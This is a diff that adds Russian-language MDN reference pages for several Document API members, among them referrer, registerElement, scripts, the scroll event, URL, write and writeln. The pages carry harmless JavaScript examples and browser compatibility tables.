<tr> + <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Первичная спецификация.</td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.readyState")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>Событие {{event("readystatechange")}}</li> + <li>Событие {{event("DOMContentLoaded")}}</li> + <li>Событие {{event("load")}}</li> +</ul> diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html new file mode 100644 index 0000000000..2855d99c69 --- /dev/null +++ b/files/ru/web/api/document/referrer/index.html @@ -0,0 +1,41 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - Property +translation_of: Web/API/Document/referrer +--- +<div>{{APIRef("DOM")}}</div> + +<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершен переход на текущую.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre>var <var>referrer</var> = <var>document</var>.referrer; +</pre> + +<h3 id="Значение">Значение</h3> + +<p>Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.</p> + +<p>Внутри элемента {{HTMLElement("iframe")}}, <code>Document.referrer</code> первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.</p> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li> +</ul> + +<p> </p> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.referrer")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/registerelement/index.html b/files/ru/web/api/document/registerelement/index.html new file mode 100644 index 0000000000..a7788e0c6e --- /dev/null +++ b/files/ru/web/api/document/registerelement/index.html @@ -0,0 +1,117 @@ +--- +title: Document.registerElement() +slug: Web/API/Document/registerElement +translation_of: Web/API/Document/registerElement +--- +<p>{{APIRef("DOM")}}</p> + +<p>{{draft()}}</p> + +<p>Метод <code><strong>Document.registerElement()</strong></code> регистрирует новый кастомный элемент (<a href="/en-US/docs/Web/Web_Components/Custom_Elements">custom element</a>) в браузере и возвращает конструктор для этого нового элемента.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Это экспериментальная технология . Браузер который вы используете должен поддерживать Вэб Компоненты (Web Components). Смотри больше: <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><em>tag-name</em></dt> + <dd>Имя кастомного элемента. Имя должно содержать символ дефиса (-), например: <code>my-tag</code>.</dd> + <dt><em>options {{optional_inline}}</em></dt> + <dd>An object that names the prototype to base the custom element on, and an existing tag to extend. Both of these are optional.</dd> +</dl> + +<h2 id="Example">Example</h2> + +<p>Here is a very simple example:</p> + +<pre class="brush: js">var Mytag = document.registerElement('my-tag'); +</pre> + +<p>Now the new tag is registered in the browser. The <code>Mytag</code> variable holds a constructor that you can use to create a <code>my-tag</code> element in the document as follows:</p> + +<pre class="brush: js">document.body.appendChild(new Mytag());</pre> + +<p>This inserts an empty <code>my-tag</code> element that will be visible if you use the browser's developer tools. It will not be visible if you use the browser's view source capability. And it won't be visible in the browser unless you add some content to the tag. Here is one way to add content to the new tag:</p> + +<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0]; +mytag.textContent = "I am a my-tag element."; +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Custom Elements')}}</td> + <td>{{Spec2('Custom Elements')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>35</td> + <td>31 (behind a flag)</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.4.4</td> + <td>31 (behind a flag)</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li> </li> +</ul> diff --git a/files/ru/web/api/document/scripts/index.html b/files/ru/web/api/document/scripts/index.html new file mode 100644 index 0000000000..bb82b79677 --- /dev/null +++ b/files/ru/web/api/document/scripts/index.html @@ -0,0 +1,93 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +translation_of: Web/API/Document/scripts +--- +<div>{{APIRef("DOM")}}</div> + +<p>Возвращает список элементов {{HTMLElement("script")}} в документ. Возвращаемый объект явлеется {{domxref("HTMLCollection")}}.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>var <em>scriptList</em></code> = document.scripts; +</pre> + +<p>Возвращаемый <code>scriptList</code> является {{domxref("HTMLCollection")}}. Вы можете использовать его как массив для получения всех элементов в списке.</p> + +<h2 id="Example">Example</h2> + +<p>Этот пример показывает есть ли на старинице элементы {{HTMLElement("script")}}.</p> + +<pre class="brush:js">var scripts = document.scripts; + +if (scripts.length) { + alert("This page has scripts!"); +} +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("9.0")}}</td> + <td>4.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("9.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..041c505630 --- /dev/null +++ b/files/ru/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: событие scroll' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Document + - Event + - Scroll + - UIEvent + - Источник +translation_of: Web/API/Document/scroll_event +--- +<p>{{APIRef}}</p> + +<p>Событие <strong><code>scroll</code></strong> возникает при прокрутке области просмотра документа или элемента.</p> + +<table class="properties"> + <thead> + </thead> + <tbody> + <tr> + <th>Всплытие</th> + <td>Да</td> + </tr> + <tr> + <th>Отменяемый</th> + <td>Нет</td> + </tr> + <tr> + <th>Интерфейс</th> + <td>{{DOMxRef("Event")}}</td> + </tr> + <tr> + <th>Свойство обработчика событий</th> + <td>{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Примечание:</strong> В iOS UIWebViews события <code>scroll</code> не срабатывают во время самого прокручивания, только по его завершении. См. <a href="https://github.com/twbs/bootstrap/issues/16202">issue в Bootstrap #16202</a>. Safari и WKWebViews не подвержены этому багу.</p> +</div> + +<h2 id="Примеры">Примеры</h2> + +<h3 id="Пропуск_тактов_события_прокрутки">Пропуск тактов события прокрутки</h3> + +<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p> + +<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> + +<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ + +let last_known_scroll_position = 0; +let ticking = false; + +function doSomething(scroll_pos) { + // Делаем что-нибудь с позицией скролла +} + +window.addEventListener('scroll', function(e) { + last_known_scroll_position = window.scrollY; + + if (!ticking) { + window.requestAnimationFrame(function() { + doSomething(last_known_scroll_position); + ticking = false; + }); + + ticking = true; + } +});</pre> + +<p>Больше похожих примеров можно найти на странице события <code><a href="/ru/docs/Web/API/Window/resize_event">resize</a></code>.</p> + +<h2 id="Спецификация">Спецификация</h2> + +<table> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + </tr> + <tr> + <td>{{SpecName('DOM3 Events', '#event-type-scroll')}}</td> + <td>{{Spec2('DOM3 Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{Compat("api.Document.scroll_event")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: событие <code>scroll</code></a></li> +</ul> diff --git a/files/ru/web/api/document/url/index.html b/files/ru/web/api/document/url/index.html new file mode 100644 index 0000000000..ebba5fad22 --- /dev/null +++ b/files/ru/web/api/document/url/index.html @@ -0,0 +1,76 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - Property +translation_of: Web/API/Document/URL +--- +<div>{{APIRef("DOM")}}</div> + +<p>Возвращает строку URL документа HTML.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><em>string</em> = document.URL +</pre> + +<p> </p> + +<h2 id="Пример">Пример</h2> + +<h3 id="JavaScript">JavaScript</h3> + +<pre><code>document.getElementById("url").textContent = document.URL;</code></pre> + +<h3 id="HTML">HTML</h3> + +<pre><code><p id="urlText"> + URL:<br/> + <span id="url">URL goes here</span> +</p></code></pre> + +<h3 id="Результат">Результат</h3> + +<p>{{EmbedLiveSample("Example", "100%", 100)}}</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.URL")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>{{domxref("HTMLDocument")}}</li> +</ul> + +<p> </p> diff --git a/files/ru/web/api/document/write/index.html b/files/ru/web/api/document/write/index.html new file mode 100644 index 0000000000..1394509e96 --- /dev/null +++ b/files/ru/web/api/document/write/index.html @@ -0,0 +1,79 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>Пишет строку в поток документа, открытый с помощью <a href="/en-US/docs/Web/API/document.open">document.open()</a>.</p> + +<div class="note">Замечание: поскольку <code>document.write</code> пишет строку в <strong>поток</strong> документа, вызов <code>document.write</code> для закрытого (но загруженного) документа автоматически вызовет <code>document.open</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.open#Notes">который очистит документ</a>.</div> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="brush: js">document.write(<em>разметка</em>); +</pre> + +<h3 id="Параметры">Параметры</h3> + +<dl> + <dt><em>разметка</em></dt> + <dd>Строка, содержащая текст для записи в документ.</dd> +</dl> + +<h3 id="Пример">Пример</h3> + +<pre class="brush: html"><html> + +<head> + <title>write example</title> + + <script> + function newContent() { + alert("загрузка нового контента"); + document.open(); + document.write("<h1>Долой старое, да здравствует новое!</h1>"); + document.close(); + } + </script> +</head> + +<body onload="newContent();"> + <p>Какой-то оригинальный контент.</p> +</body> + +</html> +</pre> + +<h2 id="Замечания">Замечания</h2> + +<p>Запись в документ, загруженный без вызова <code><a href="/en-US/docs/Web/API/document.open">document.open()</a>,</code> автоматически вызовет <code>document.open</code>. По окончании записи рекомендуется вызвать <code><a href="/en-US/docs/Web/API/document.close">document.close()</a>,</code> чтобы браузер завершил загрузку страницы. Записываемый текст разбирается в структурную модель документа. В примере выше элемент <code>h1</code> становится узлом документа.</p> + +<p>Если вызов <code>document.write()</code> производится во встроенном HTML теге <code><script></code> , вызов <code>document.open() не будет выполнен</code>. Например:</p> + +<pre class="brush: html"><code><script> + document.write("<h1>Основной заголовок</h1>") +</script></code> +</pre> + +<div class="note"><strong>Замечание:</strong> <code>document.write</code> и <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">не работают в XHTML документах</a> (выводится сообщение "Операция не поддерживается" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] в консоли ошибок). Это случается при открытии локального файла с расширением .xhtml или для любых документов, обрабатываемых с <a href="/en-US/docs/Glossary/MIME_type">типом MIME</a> - <code>application/xhtml+xml</code> . Больше информации доступно по адресу <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div> + +<div class="note"><strong>Замечание:</strong> <code>document.write</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">отложенных</a> или <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">асинхронных</a> сценариях игнорируется и выводится сообщение типа "Проигнорирован вызов <code>document.write()</code> из асинхронно загруженного внешнего сценария" в консоли ошибок.</div> + +<div class="note"><strong>Замечание:</strong> В Edge вызов <code>document.write в </code>iframe более одного раза прриводит к ошибке SCRIPT70: Доступ запрещен.</div> + +<div class="note"><strong>Замечание:</strong> Начиная с версии 55, Chrome не исполняет элементы <code><script></code> вставленные посредством <code>document.write()</code> в случае отсутствия кэша HTTP для пользователей 2G подключения.</div> + +<h2 id="Спецификации"><font color="#ffffff" face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333; font-size: 24px;">Спецификации</span></font></h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li> + <li><a class="external" href="http://www.w3.org/TR/2011/WD-html5-author-20110705/apis-in-html-documents.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li> +</ul> + +<h2 id="См._также">См. также</h2> + +<ul> + <li>{{ domxref("element.innerHTML") }}</li> + <li>{{ domxref("document.createElement()") }}</li> +</ul> diff --git a/files/ru/web/api/document/writeln/index.html b/files/ru/web/api/document/writeln/index.html new file mode 100644 index 0000000000..990aec8828 --- /dev/null +++ b/files/ru/web/api/document/writeln/index.html @@ -0,0 +1,34 @@ +--- +title: Document.writeln() +slug: Web/API/Document/writeln +translation_of: Web/API/Document/writeln +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>Выводит в документ строку со знаком перевода каретки в конце.</p> + +<h2 id="Syntax" name="Syntax">Синтакс</h2> + +<pre class="eval">document.writeln(<em>line</em>); +</pre> + +<h3 id="Parameters" name="Parameters">Параметры</h3> + +<ul> + <li><code>line</code> - строка содержащая текст. </li> +</ul> + +<h2 id="Example" name="Example">Пример</h2> + +<pre>document.writeln("<p>введите пароль:</p>"); +</pre> + +<h2 id="Notes" name="Notes">Примечания</h2> + +<p><strong>document.writeln</strong> тоже самое, что <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write</a> но добавляет знак новой строки.</p> + +<div class="note"><strong>Примечание:</strong> <strong>document.writeln</strong> (как и <strong>document.write</strong>) не работает с XHTML документами (вы получите ошибку "Operation is not supported" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) в консоли ошибок). Происходит это, если открыть локальный файл с разширением .xhtml или документ с MIME типом application/xhtml+xml. Больше информации доступно на <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p> |